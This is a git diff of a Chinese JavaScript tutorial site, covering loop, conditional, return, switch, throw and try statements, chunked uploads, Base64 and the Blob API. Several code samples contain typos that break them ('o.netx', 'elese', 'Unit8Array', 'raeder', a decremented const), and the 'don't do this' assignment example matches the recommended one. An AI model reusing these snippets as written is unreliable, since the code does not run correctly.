                - + diff --git a/basic-concept/statements-and-declarations/the-for-of-statement/index.html b/basic-concept/statements-and-declarations/the-for-of-statement/index.html index 60240e01b..08d805bc4 100644 --- a/basic-concept/statements-and-declarations/the-for-of-statement/index.html +++ b/basic-concept/statements-and-declarations/the-for-of-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -46,12 +49,12 @@
                for (let i in iterable) {
                console.log(i); // logs 0, 1, 2, "foo", "arrCustom", "objCustom"
                }
                for (let i in iterable) {
                if (iterable.hasOwnProperty(i)) {
                console.log(i); // logs 0, 1, 2, "foo"
                }
                }
                for (let i of iterable) {
                console.log(i); // logs 3, 5, 7
                }
                Object.prototype.objCustom = function() {};
                Array.prototype.arrCustom = function() {};
                -
                let iterable = [3, 5, 7];
                iterable.foo = 'hello';

                每个对象将继承 objCustom 属性,并且作为 Array 的每个对象将继承 arrCustom 属性,因为将这些属性添加到 Object.prototypeArray.prototype。由于继承和原型链,对象 iterable 继承属性 objCustomarrCustom

                for (let i in iterable) {
                console.log(i); // logs 0, 1, 2, "foo", "arrCustom", "objCustom"
                }

                此循环仅以原始插入顺序记录 iterable 对象的可枚举属性。它不记录数组元素3, 5, 7hello,因为这些不是枚举属性。但是它记录了数组索引以及 arrCustomobjCustom。如果你不知道为什么这些属性被迭代,array iteration and for...in中有更多解释。

                for (let i in iterable) {
                if (iterable.hasOwnProperty(i)) {
                console.log(i); // logs 0, 1, 2, "foo"
                }
                }

                这个循环类似于第一个,但是它使用hasOwnProperty() 来检查,如果找到的枚举属性是对象自己的(不是继承的)。如果是,该属性被记录。记录的属性是 0, 1, 2foo,因为它们是自身的属性(不是继承的)。属性 arrCustomobjCustom 不会被记录,因为它们是继承的

                for (let i of iterable) {
                console.log(i); // logs 3, 5, 7
                }

                该循环迭代并记录 iterable 作为可迭代对象定义的迭代值,这些是数组元素 3, 5, 7,而不是任何对象的属性

                +
                let iterable = [3, 5, 7];
                iterable.foo = 'hello';

                每个对象将继承 objCustom 属性,并且作为 Array 的每个对象将继承 arrCustom 属性,因为将这些属性添加到 Object.prototypeArray.prototype。由于继承和原型链,对象 iterable 继承属性 objCustomarrCustom

                for (let i in iterable) {
                console.log(i); // logs 0, 1, 2, "foo", "arrCustom", "objCustom"
                }

                此循环仅以原始插入顺序记录 iterable 对象的可枚举属性。它不记录数组元素3, 5, 7hello,因为这些不是枚举属性。但是它记录了数组索引以及 arrCustomobjCustom。如果你不知道为什么这些属性被迭代,array iteration and for...in中有更多解释。

                for (let i in iterable) {
                if (iterable.hasOwnProperty(i)) {
                console.log(i); // logs 0, 1, 2, "foo"
                }
                }

                这个循环类似于第一个,但是它使用hasOwnProperty() 来检查,如果找到的枚举属性是对象自己的(不是继承的)。如果是,该属性被记录。记录的属性是 0, 1, 2foo,因为它们是自身的属性(不是继承的)。属性 arrCustomobjCustom 不会被记录,因为它们是继承的

                for (let i of iterable) {
                console.log(i); // logs 3, 5, 7
                }

                该循环迭代并记录 iterable 作为可迭代对象定义的迭代值,这些是数组元素 3, 5, 7,而不是任何对象的属性

                - + diff --git a/basic-concept/statements-and-declarations/the-for-statement/index.html b/basic-concept/statements-and-declarations/the-for-statement/index.html index be877d678..01363e5cb 100644 --- a/basic-concept/statements-and-declarations/the-for-statement/index.html +++ b/basic-concept/statements-and-declarations/the-for-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                for 语句

                for 语句 也是一种前测试循环语句,但它具有在执行循环之前初始化变量和定义循环后要执行的代码的能力。

                语法

                for (initialization; expression; post - loop - expression) {
                // statement
                }

                参数:

                • initialization 初始化表达式:表达式通常会初始化一个或多个循环计数器(变量),但语法上是允许一个任意复杂度的表达式,通常为一条声明赋值语句(只在循环开始之前执行一次)。
                • expression 循环条件判断:执行循环语句前的判断语句(通常为比较表达式),若为 true 则执行循环语句,否则则不执行循环语句,并跳出循环语句。
                • post-loop-expression 计数器变量更新:循环执行语句执行后执行的计数器变量更新表达式,更新循环计数器(变量),以进入下一次循环条件判断。
                • statement 循环执行语句:当循环条件满足时所执行的语句,执行完毕后执行计数器变量更新语句(利用 breakcontinue 语句除外)。

                最佳实践

                代码示例

                var count = 10;
                for (let i = 0; i < count; i++) {
                console.log(i);
                }

                从尾部向前循环

                位数的整倍循环

                // 五位数的数字
                const num = 99999;
                for (let i = 1; i < num; i *= 10) {
                // 被除数 num
                // 除数
                const divisor = i * 10;
                // 整除部分
                const divided = Math.floor(num / divisor);
                // 余数
                const remainder = num % divisor;
                -
                console.log(i, divisor);
                // i divisor
                // 1. 1 10
                // 2. 10 100
                // 3. 100 1000
                // 4. 1000 10000
                // 5. 10000 100000
                }

                涉及多个变量的循环

                for (let i = 0, j = 10; i < 10; i++, j--) {
                sum += i * j;
                }

                若在循环中一次迭代改变多个变量,则必须使用到逗号运算符,它将初始化表达式和自增表达式合并入一个表达式中以用于 for 循环。

                可忽略的表达式

                function tail(o) {
                // 返回链表的最后一个节点对象
                for (; o.next; o = o.netx /* empty */);
                return; // 根据判断 o.next 是不是真值来执行遍历
                }

                循环计数器(变量)中一般都是数字,也是最常用的,但不是必需的。for 循环中的三个表达式中的任何一个都可以忽略,但是两个分号必不可少。如果 expression ,那么这将是一个死循环,同样,和 while(true) 类似,死循环的另一种写法是 for(;;)

                +
                console.log(i, divisor);
                // i divisor
                // 1. 1 10
                // 2. 10 100
                // 3. 100 1000
                // 4. 1000 10000
                // 5. 10000 100000
                }

                涉及多个变量的循环

                for (let i = 0, j = 10; i < 10; i++, j--) {
                sum += i * j;
                }

                若在循环中一次迭代改变多个变量,则必须使用到逗号运算符,它将初始化表达式和自增表达式合并入一个表达式中以用于 for 循环。

                可忽略的表达式

                function tail(o) {
                // 返回链表的最后一个节点对象
                for (; o.next; o = o.netx /* empty */);
                return; // 根据判断 o.next 是不是真值来执行遍历
                }

                循环计数器(变量)中一般都是数字,也是最常用的,但不是必需的。for 循环中的三个表达式中的任何一个都可以忽略,但是两个分号必不可少。如果 expression ,那么这将是一个死循环,同样,和 while(true) 类似,死循环的另一种写法是 for(;;)

                - + diff --git a/basic-concept/statements-and-declarations/the-if-statement/index.html b/basic-concept/statements-and-declarations/the-if-statement/index.html index a303e08b6..7fbb72c31 100644 --- a/basic-concept/statements-and-declarations/the-if-statement/index.html +++ b/basic-concept/statements-and-declarations/the-if-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                if 语句

                条件语句用于基于不同的条件来执行不同的动作。

                在 JavaScript 中,我们可使用以下条件语句:

                • if 语句 - 只有当指定条件为 true 时,使用该语句来执行代码
                • if...else 语句 - 当条件为 true 时执行代码,当条件为 false 时执行其他代码
                • if...else if...else 语句 - 使用该语句来选择多个代码块之一来执行
                • switch 语句 - 使用该语句来选择多个代码块之一来执行

                当一个逻辑条件为真,用 if 语句执行一个语句。当这个条件为假,使用可选择的 else 从句来执行这个语句。

                单层条件判断

                if (condition) {
                statement_1;
                }
                [else {
                statement_2;
                }] //推荐使用严格的语句块模式,语句else可选

                参数说明
                condition为任何返回结果(若非 boolean 类型会被 ECMAScrpt 转换)为 truefalse 的表达式。如果条件式为 truestatement1 会被执行;否则 statement2 会被执行
                statement1(2)为任意语句(代码块),甚至可以将另一个 if 语句嵌套七种

                多层条件判断

                if (condition_1) {
                statement_1;
                } [else if (condition_2) {
                statement_2;
                }]
                ...
                [else if (condition_n_1) {
                statement_n_1;
                }] [else {
                statement_n;
                }]

                要执行多个语句,可以使用语句块 ({ ... }) 来分组这些语句。

                示例

                不建议在条件表达式中

                不建议在条件表达式中使用赋值操作,因为在快速查阅代码时容易看成等值比较。

                请勿使用以下代码:

                if ((x = y)) {
                // do something
                }

                如果你需要在表达式中使用赋值,通常在赋值语句前后额外添加一对括号。

                if ((x = y)) {
                // do something
                }

                假值等效值

                下面这些值将被计算出 false

                • false
                • undefined
                • null
                • 0
                • NaN
                • ""

                当传递给条件语句时,所有其他值,包括所有对象会被计算为真。

                请不要混淆原始的布尔值 truefalseBoolean 对象的真和假。

                var b = new Boolean(false);
                if (b)
                // this condition evaluates to true
                -
                if (b == true)
                // this condition evaluates to false
                +
                if (b == true)
                // this condition evaluates to false
                - + diff --git a/basic-concept/statements-and-declarations/the-return-statement/index.html b/basic-concept/statements-and-declarations/the-return-statement/index.html index 4bc1d6e0e..362c5d382 100644 --- a/basic-concept/statements-and-declarations/the-return-statement/index.html +++ b/basic-concept/statements-and-declarations/the-return-statement/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + return 语句 - JavaScript Guidebook -

                return 语句

                函数中的 return 语句用来返回函数调用后的返回值

                语法

                return expression;

                说明

                返回语句特点

                • return 语句只能出现在函数体内,如果不是会报语法错误
                return 1; // SyntaxError: Illegal return statement
                • 由于 JavaScript 可以自动插入分号,因此在 return 关键字和它后面的表达式之间不能有换行。
                var test = function fn(){
                return
                2;
                };
                console.log(test()); // undefined
                • 一个函数中可以有多个 return 语句。
                function diff(iNum1, iNum2) {
                if (iNum1 > iNum2) {
                return iNum1 - iNum2;
                } else {
                return iNum2 - iNum1;
                }
                }

                函数进程

                • 如果没有 return 语句,则函数调用仅仅依次执行函数体内的每一条语句直到函数结束,最后返回调用程序。这种情况下,调用表达式的结果是 undefined
                var test = function fn(){}
                console.log(test()); // undefined
                • 当执行到 return 语句时,函数终止执行,并返回 expression 的值给调用程序
                var test = function fn(){
                return 2;
                };
                console.log(test()); // 2
                • return 语句经常作为函数内的最后一条语句出现,这是因为 return 语句可用来使函数提前返回。当 return 被执行时,函数立即返回而不再执行余下的语句
                //并没有弹出1
                var test = function fn(){
                return;
                alert(1);
                };
                console.log(test());//undefined
                • 并不是函数中 return 语句后的所有语句都不执行,finally 语句是例外,return 语句不会阻止 finally 子句的执行。
                function testFinnally(){
                try{
                return 2;
                }catch(error){
                return 1;
                }finally{
                return 0;
                }
                }
                testFinnally(); // 0

                返回值

                • 如果函数调用时在前面加上了 new 前缀,且返回值不是一个对象,则返回 this(该新对象)
                function fn(){
                this.a = 2;
                return 1;
                }
                var test = new fn();
                console.log(test); // {a:2}
                console.log(test.constructor); // fn(){this.a = 2;return 1;}
                • 如果返回值是一个对象,则返回该对象。
                function fn(){
                this.a = 2;
                return {a:1};
                }
                var test = new fn();
                console.log(test);//{a:1}
                console.log(test.constructor);//Object() { [native code] }
                • return 语句可以单独使用而不必带有表达式 expression,这样的话也会向调用程序返回 undefined
                var test = function fn(){
                return;
                };
                console.log(test()); // undefined

                总结

                • return 语句只能出现在函数体内
                • return 关键词和表达式之间不可换行
                • 一个函数中可以有多个 return 语句
                • 当执行 return 语句,函数终止执行,并返回表达式
                • return 语句不会阻止 finally 子句的执行
                • 调用构造函数,且返回值不是一个对象,则返回该新对象
                • 如果返回值是一个对象,则返回该对象
                • return 语句可单独使用而不必带有表达式,返回 undefined
                +

                return 语句

                函数中的 return 语句用来返回函数调用后的返回值

                语法

                return expression;

                说明

                返回语句特点

                • return 语句只能出现在函数体内,如果不是会报语法错误
                return 1; // SyntaxError: Illegal return statement
                • 由于 JavaScript 可以自动插入分号,因此在 return 关键字和它后面的表达式之间不能有换行。
                var test = function fn(){
                return
                2;
                };
                console.log(test()); // undefined
                • 一个函数中可以有多个 return 语句。
                function diff(iNum1, iNum2) {
                if (iNum1 > iNum2) {
                return iNum1 - iNum2;
                } else {
                return iNum2 - iNum1;
                }
                }

                函数进程

                • 如果没有 return 语句,则函数调用仅仅依次执行函数体内的每一条语句直到函数结束,最后返回调用程序。这种情况下,调用表达式的结果是 undefined
                var test = function fn(){}
                console.log(test()); // undefined
                • 当执行到 return 语句时,函数终止执行,并返回 expression 的值给调用程序
                var test = function fn(){
                return 2;
                };
                console.log(test()); // 2
                • return 语句经常作为函数内的最后一条语句出现,这是因为 return 语句可用来使函数提前返回。当 return 被执行时,函数立即返回而不再执行余下的语句
                //并没有弹出1
                var test = function fn(){
                return;
                alert(1);
                };
                console.log(test());//undefined
                • 并不是函数中 return 语句后的所有语句都不执行,finally 语句是例外,return 语句不会阻止 finally 子句的执行。
                function testFinnally(){
                try{
                return 2;
                }catch(error){
                return 1;
                }finally{
                return 0;
                }
                }
                testFinnally(); // 0

                返回值

                • 如果函数调用时在前面加上了 new 前缀,且返回值不是一个对象,则返回 this(该新对象)
                function fn(){
                this.a = 2;
                return 1;
                }
                var test = new fn();
                console.log(test); // {a:2}
                console.log(test.constructor); // fn(){this.a = 2;return 1;}
                • 如果返回值是一个对象,则返回该对象。
                function fn(){
                this.a = 2;
                return {a:1};
                }
                var test = new fn();
                console.log(test);//{a:1}
                console.log(test.constructor);//Object() { [native code] }
                • return 语句可以单独使用而不必带有表达式 expression,这样的话也会向调用程序返回 undefined
                var test = function fn(){
                return;
                };
                console.log(test()); // undefined

                总结

                • return 语句只能出现在函数体内
                • return 关键词和表达式之间不可换行
                • 一个函数中可以有多个 return 语句
                • 当执行 return 语句,函数终止执行,并返回表达式
                • return 语句不会阻止 finally 子句的执行
                • 调用构造函数,且返回值不是一个对象,则返回该新对象
                • 如果返回值是一个对象,则返回该对象
                • return 语句可单独使用而不必带有表达式,返回 undefined
                - + diff --git a/basic-concept/statements-and-declarations/the-switch-statement/index.html b/basic-concept/statements-and-declarations/the-switch-statement/index.html index 511e6de4d..e33ea4f95 100644 --- a/basic-concept/statements-and-declarations/the-switch-statement/index.html +++ b/basic-concept/statements-and-declarations/the-switch-statement/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + switch 语句 - JavaScript Guidebook -

                switch 语句

                switch 语句允许一个程序求一个表达式的值并且尝试去匹配表达式的值到一个 case 标签。如果匹配成功,这个程序执行相关的语句。

                语法

                switch (expression) {
                case value_1:
                statements_1
                [break;]
                case value_2:
                statements_2
                [break;]
                ...
                default:
                statements_def
                [break;]
                }

                工作原理:首先设置表达式 expression(通常是一个变量)。随后表达式的值会与结构中的每个 case 的值做比较。如果存在匹配,则与该 case 关联的代码块会被执行。请使用 break 来阻止代码自动地向下一个 case 运行。

                参数

                参数说明
                expression用于比较的表达式
                value_(n)expression 比较的值
                statement(n)执行语句

                关键词

                • case:表示一种情况,如果 expression 等于 value ,就执行 statement
                • break:会使代码跳出 switch 语句,如果没有关键词 break,代码执行就会继续进入下一个 case
                • default:说明了表达式的结果不等于任何一种情况时的操作(事实上,它相对于 else 从句)。

                示例

                var myCar = 'Porsche'
                switch (myCar) {
                case 'Nissan': alert("My car is Nissan");
                break;
                case 'Honda': alert("My car is Honda");
                break;
                case 'Porsche': alert("My car is Porsche");
                break;
                default: alert("I have no car");
                }
                +

                switch 语句

                switch 语句允许一个程序求一个表达式的值并且尝试去匹配表达式的值到一个 case 标签。如果匹配成功,这个程序执行相关的语句。

                语法

                switch (expression) {
                case value_1:
                statements_1
                [break;]
                case value_2:
                statements_2
                [break;]
                ...
                default:
                statements_def
                [break;]
                }

                工作原理:首先设置表达式 expression(通常是一个变量)。随后表达式的值会与结构中的每个 case 的值做比较。如果存在匹配,则与该 case 关联的代码块会被执行。请使用 break 来阻止代码自动地向下一个 case 运行。

                参数

                参数说明
                expression用于比较的表达式
                value_(n)expression 比较的值
                statement(n)执行语句

                关键词

                • case:表示一种情况,如果 expression 等于 value ,就执行 statement
                • break:会使代码跳出 switch 语句,如果没有关键词 break,代码执行就会继续进入下一个 case
                • default:说明了表达式的结果不等于任何一种情况时的操作(事实上,它相对于 else 从句)。

                示例

                var myCar = 'Porsche'
                switch (myCar) {
                case 'Nissan': alert("My car is Nissan");
                break;
                case 'Honda': alert("My car is Honda");
                break;
                case 'Porsche': alert("My car is Porsche");
                break;
                default: alert("I have no car");
                }
                - + diff --git a/basic-concept/statements-and-declarations/the-throw-statement/index.html b/basic-concept/statements-and-declarations/the-throw-statement/index.html index 4a11ee936..b1102ff76 100644 --- a/basic-concept/statements-and-declarations/the-throw-statement/index.html +++ b/basic-concept/statements-and-declarations/the-throw-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                throw 语句

                throw语句 用来抛出一个用户自定义的异常。当前函数的执行将被停止( throw 之后的语句将不会执行),并且控制将被传递到调用堆栈中的第一个catch块。如果调用者函数中没有catch块,程序将会终止。

                语法

                throw expression;

                参数

                参数说明
                expression要抛出得表达式

                示例

                代码示例

                你可以抛出任意表达式而不是特定一种类型的表达式。

                throw 'Error2'; // String type
                throw 42; // Number type
                throw true; // Boolean type
                throw {
                toString: function () {
                return "I'm an object";
                },
                };

                抛出一个对象

                你可以在抛出异常时指定一个对象。然后可以在 catch 块中引用对象的属性。以下示例创建一个类型为 UserException 的对象,并在 throw 语句中使用它。

                function UserException(message){
                this.message = message;
                this.name = "UserException";
                }
                function getMonthName(mo) {
                mo = mo - 1; // 调整月份数字到数组索引(1 = Jan,12 = Dec)
                var months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
                if(months[mo] !== undefined) {
                return months[mo];
                } elese {
                throw new UserException("InvalidMonthNo");
                }
                }
                -
                try{
                // statements to try
                var myMonth = 15; // 超出边界并引发异常
                var monthName = getMonthName(myMonth);
                } catch (e) {
                var monthName = "unkown";
                console.log(e.message, e.name); // 传递异常对象到错误处理
                }
                +
                try{
                // statements to try
                var myMonth = 15; // 超出边界并引发异常
                var monthName = getMonthName(myMonth);
                } catch (e) {
                var monthName = "unkown";
                console.log(e.message, e.name); // 传递异常对象到错误处理
                }
                - + diff --git a/basic-concept/statements-and-declarations/the-try-statement/index.html b/basic-concept/statements-and-declarations/the-try-statement/index.html index c931e9fc4..118f82858 100644 --- a/basic-concept/statements-and-declarations/the-try-statement/index.html +++ b/basic-concept/statements-and-declarations/the-try-statement/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -38,12 +41,12 @@
                // 输出顺序:
                // 1
                // 2 this is a error

                try 块中嵌套 try-catch-finnally 语句。

                try {
                try {
                throw 'this is a error';
                } catch (err) {
                console.error(1, err);
                throw err;
                } finally {
                console.log(2);
                return 3;
                }
                } catch (err) {
                console.error(4, err.message);
                }
                -
                // 输出顺序:
                // 1 this is a error
                // 2

                因为 finally 块里的 return 语句,外部的 this is a error 异常没有抛出。从 catch 块返回的值同样适用。

                异常标识符

                try 块中的抛出一个异常时, exception_var(如 catch (err) 中的 err )用来保存被抛出声明指定的值。你可以用这个标识符来获取关于被抛出异常的信息。

                这个标识符是 catch 子语句内部的。换言之,当进入 catch 子语句时标识符创建,catch 子语句执行完毕后,这个标识符将不再可用。

                +
                // 输出顺序:
                // 1 this is a error
                // 2

                因为 finally 块里的 return 语句,外部的 this is a error 异常没有抛出。从 catch 块返回的值同样适用。

                异常标识符

                try 块中的抛出一个异常时, exception_var(如 catch (err) 中的 err )用来保存被抛出声明指定的值。你可以用这个标识符来获取关于被抛出异常的信息。

                这个标识符是 catch 子语句内部的。换言之,当进入 catch 子语句时标识符创建,catch 子语句执行完毕后,这个标识符将不再可用。

                - + diff --git a/basic-concept/statements-and-declarations/the-while-statement/index.html b/basic-concept/statements-and-declarations/the-while-statement/index.html index 53444da9d..e25d69a38 100644 --- a/basic-concept/statements-and-declarations/the-while-statement/index.html +++ b/basic-concept/statements-and-declarations/the-while-statement/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + while 语句 - JavaScript Guidebook -

                while 语句

                while 语句可以在某个条件表达式为真的前提下,循环执行指定的一段代码,直到那个表达式不为 true 时结束循环。

                语法

                while (expression) statement;

                参数

                参数描述
                expression条件表达式,在每次循环前被求值。如果求值为 truestatement就会被执行。如果求值为 false,则跳出 while 循环执行后面的语句。
                statement只要条件表达式求值为 true,该语句就会一直被执行。要在循环中执行多条语句,可以使用块语句({ ... })包住多条语句。

                注意:使用 break 语句在 expression 计算结果为真之前停止循环。

                示例

                代码示例

                var i = 0;
                while (i < 10) {
                i += 2;
                }
                var cars = ['BMW', 'Volvo', 'Saab', 'Ford'];
                var text = '';
                var i = 0;
                while (i < cars.length) {
                text += cars[i] + '<br>';
                i++;
                }
                +

                while 语句

                while 语句可以在某个条件表达式为真的前提下,循环执行指定的一段代码,直到那个表达式不为 true 时结束循环。

                语法

                while (expression) statement;

                参数

                参数描述
                expression条件表达式,在每次循环前被求值。如果求值为 truestatement就会被执行。如果求值为 false,则跳出 while 循环执行后面的语句。
                statement只要条件表达式求值为 true,该语句就会一直被执行。要在循环中执行多条语句,可以使用块语句({ ... })包住多条语句。

                注意:使用 break 语句在 expression 计算结果为真之前停止循环。

                示例

                代码示例

                var i = 0;
                while (i < 10) {
                i += 2;
                }
                var cars = ['BMW', 'Volvo', 'Saab', 'Ford'];
                var text = '';
                var i = 0;
                while (i < cars.length) {
                text += cars[i] + '<br>';
                i++;
                }
                - + diff --git a/browser-object-model/binary-data-and-files/application/index.html b/browser-object-model/binary-data-and-files/application/index.html index ba6e9667d..bfe94e3c9 100644 --- a/browser-object-model/binary-data-and-files/application/index.html +++ b/browser-object-model/binary-data-and-files/application/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -58,12 +61,12 @@
                // 切片目录不存在,创建切片目录
                if (!fse.existsSync(chunkDir)) {
                await fse.mkdirs(chunkDir);
                }
                // fs-extra 专用方法,类似 fs.rename 并且跨平台
                // fs-extra 的 rename 方法 windows 平台会有权限问题
                await fse.move(chunk.path, `${chunkDir}/${hash}`);
                res.end('Received file chunk');
                });
                });
                -
                server.listen(3000, () => console.log('Server is listening port 3000.'));

                合并切片

                由于前端在发送合并请求时会携带文件名,服务端根据文件名可以找到上一步创建的切片文件夹。

                接着使用 fs.createWriteStream 创建一个可写流,可写流文件名就是 切片文件夹名 + 后缀名 组合而成。

                随后遍历整个切片文件夹,将切片通过 fs.createReadStream 创建可读流,传输合并到目标文件中。

                值得注意的是每次可读流都会传输到可写流的指定位置,这是通过 createWriteStream 的第二个参数 start/end 控制的,目的是能够并发合并多个可读流到可写流中,这样即使流的顺序不同也能传输到正确的位置,所以这里还需要让前端在请求的时候多提供一个 size 参数。

                断点续传

                断点续传的原理在于前端/服务端需要 记住 已上传的切片,这样下次上传就可以跳过之前已上传的部分,有两种方案实现记忆的功能:

                生成标识

                无论是前端还是服务端,都必须要生成文件和切片的 Hash,之前我们使用 文件名 + 切片下标 作为切片 Hash,这样做文件名一旦修改就失去了效果,而事实上只要文件内容不变,Hash 就不应该变化,所以正确的做法是根据文件内容生成 hash,所以我们修改一下 Hash 的生成规则。

                文件秒传

                暂停上传

                恢复上传

                进度条改进


                参考资料:

                +
                server.listen(3000, () => console.log('Server is listening port 3000.'));

                合并切片

                由于前端在发送合并请求时会携带文件名,服务端根据文件名可以找到上一步创建的切片文件夹。

                接着使用 fs.createWriteStream 创建一个可写流,可写流文件名就是 切片文件夹名 + 后缀名 组合而成。

                随后遍历整个切片文件夹,将切片通过 fs.createReadStream 创建可读流,传输合并到目标文件中。

                值得注意的是每次可读流都会传输到可写流的指定位置,这是通过 createWriteStream 的第二个参数 start/end 控制的,目的是能够并发合并多个可读流到可写流中,这样即使流的顺序不同也能传输到正确的位置,所以这里还需要让前端在请求的时候多提供一个 size 参数。

                断点续传

                断点续传的原理在于前端/服务端需要 记住 已上传的切片,这样下次上传就可以跳过之前已上传的部分,有两种方案实现记忆的功能:

                生成标识

                无论是前端还是服务端,都必须要生成文件和切片的 Hash,之前我们使用 文件名 + 切片下标 作为切片 Hash,这样做文件名一旦修改就失去了效果,而事实上只要文件内容不变,Hash 就不应该变化,所以正确的做法是根据文件内容生成 hash,所以我们修改一下 Hash 的生成规则。

                文件秒传

                暂停上传

                恢复上传

                进度条改进


                参考资料:

                - + diff --git a/browser-object-model/binary-data-and-files/base64/index.html b/browser-object-model/binary-data-and-files/base64/index.html index 0bd9db9a5..fabd906b8 100644 --- a/browser-object-model/binary-data-and-files/base64/index.html +++ b/browser-object-model/binary-data-and-files/base64/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                const arr = urlData.split(',');
                const type = arr[0].match(/:(.*?);/)[1];
                const extension = type.split('/')[1];
                const bstr = atob(arr[1]);
                const len = bstr.length;
                const u8arr = new Unit8Array(len);
                while (len--) {
                u8arr[len] = bstr.charCodeAt(len);
                }
                return new File([u8arr], `${filename}.${extension}`, { type });
                }

                File 转 Base64

                const reader = new FileReader();
                raeder.readAsDataURL(file);
                -
                console.log(reader);

                参考资料:

                +
                console.log(reader);

                参考资料:

                - + diff --git a/browser-object-model/binary-data-and-files/blob/index.html b/browser-object-model/binary-data-and-files/blob/index.html index 8d07f427c..5c45cef32 100644 --- a/browser-object-model/binary-data-and-files/blob/index.html +++ b/browser-object-model/binary-data-and-files/blob/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                Blob API

                Blob(Binary Large Object)对象表示一个不可变、原始数据的类文件对象。它的数据可以按文本或二进制的格式进行读取,也可以转换成 ReadableStream 来用于数据操作。

                Blob 表示的不一定是 JavaScript 原生格式的数据。File 接口基于 Blob,继承了 blob 的功能并将其扩展使其支持用户系统上的文件。

                基本用法

                构造函数

                可以通过 Blob 的构造函数创建 Blob 对象:

                const blob = new Blob(data [, options]);

                参数

                • data:类数组类型,数组中的每一项连接起来构成 Blob 对象的数据,数组中的每项元素可以是 ArrayBufferArrayBufferViewBlobDOMString
                • options:可选项,字典格式类型,可以指定如下两个属性
                  • type:默认值为空字符串 '',它代表了将会被放入到 Blob 中的数组内容的 MIME 类型
                  • endings:默认值为 transparent,用于指定包含行结束符 \n 的字符串如何被写入。 它是以下两个值中的一个:
                    • native,表示行结束符会被更改为适合宿主操作系统文件系统的换行符
                    • transparent,表示会保持 Blob 中保存的结束符不变

                属性和方法

                属性

                属性说明
                Blob.size(只读)Blob 对象的大小(单位:字节)
                Blob.type(只读)Blob 对象的 MIME 类型,如果是未知,则是空字符串

                方法

                属性说明
                Blob.slice([start [, end [, contentType]]])返回源 Blob 对象指定范围的新 Blob 对象
                Blob.stream()返回能读取 Blob 对象内容的 ReadableStream
                Blob.text()返回 Promise 且包含 Blob 所有内容的 UTF-8 格式的 USVString
                Blob.arrayBuffer()返回 Promise 且包含 Blob 所有内容二进制格式的 ArrayBuffer

                与 ArrayBuffer 的关系

                相同点:Blob 和 ArrayBuffer 都是二进制的容器

                • ArrayBuffer:ArrayBuffer 更加底层,就是一段纯粹的内存上的二进制数据,我们可以对其任何一个字节进行单独的修改,也可以根据我们的需要以我们制定的形式读取指定范围的数据
                • Blob:Blob 就是将一段二进制数据做了一个封装,我们拿到的就是一个整体,可以看到它的整体属性大小、类型;也可以对其分割,但不能了解到它的细节

                联系:Blob 可以接受一个 ArrayBuffer 作为参数生成一个 Blob 对象,此行为就相当于对 ArrayBuffer 数据做一个封装,之后就是以整体的形式展现了

                应用上的区别:由于 ArrayBuffer 和 Blob 的特性,Blob 作为一个整体文件,适合用于传输;而只有需要关注细节(比如修改某段数据时),才需要用到 ArrayBuffer

                应用示例

                • 文件下载:通过 URL.createObjectURL(blob) 生成 Blob URL,赋给 a.download 属性
                • 图片显示:通过 URL.createObjectURL(blob) 生成 Blob URL,赋给 img.src 属性
                • 资源分段上传:通过 Blob.slice 可以分割二进制数据为子 Blob 上传
                • 本地读取文件:FileReader 的 API 可以将 Blob 或 File 转化为文本/ArrayBuffer/Data URL 等类型

                代码示例

                const data1 = 'a';
                const data2 = 'b';
                const data3 = '<div style="color: red;">This is a blob</div>';
                const data4 = { name: 'abc' };
                const blob1 = new Blob([data1]);
                const blob2 = new Blob([data1, data2]);
                const blob3 = new Blob([data3]);
                const blob4 = new Blob([JSON.stringify(data4)]);
                const blob5 = new Blob([data4]);
                const blob6 = new Blob([data3, data4]);
                -
                console.log(blob1);
                // Blob { size: 1, type: "" }
                console.log(blob2);
                // Blob { size: 2, type: "" }
                console.log(blob3);
                // Blob { size: 44, type: "" }
                console.log(blob4);
                // Blob { size: 14, type: "" }
                console.log(blob5);
                // Blob { size: 15, type: "" }
                console.log(blob6);
                // Blob { size: 59, type: "" }
                • blob4:通过 JSON.stringifydata4 对象转换成 JSON 的字符串
                • blob5:直接使用 data4 创建

                实际上,当使用普通对象创建 Blob 对象时,相当于调用了普通对象的 toString 方法得到字符串数据,然后再创建 Blob 对象。

                所以 blob5 保存的数据是 "[object Object]",是 15 个字节(不包含最外层的引号)。

                Blob URL

                Blob URL 是 Blob 协议的 URL,格式如下:

                blob:http://xxx

                Blobl Url:
                Blob Url

                Blob URL 可以通过 URL.createObjectURL(blob) 创建,在绝大部分场景下,我们可以像使用 HTTP 协议的 URL 一样,使用 Blob URL

                和冗长的 Base64 格式的 Data URL 相比,Blob URL 的长度显然不能够存储足够的信息,这也就意味着它只是类似于一个浏览器内部的 引用

                从这个角度来看,Blob URL 是 浏览器自行制定的伪协议

                常见的应用场景:

                • 作为文件的下载地址
                • 作为图片资源地址
                • 本地视频文件上传前播放器的预览地址

                参考资料:

                +
                console.log(blob1);
                // Blob { size: 1, type: "" }
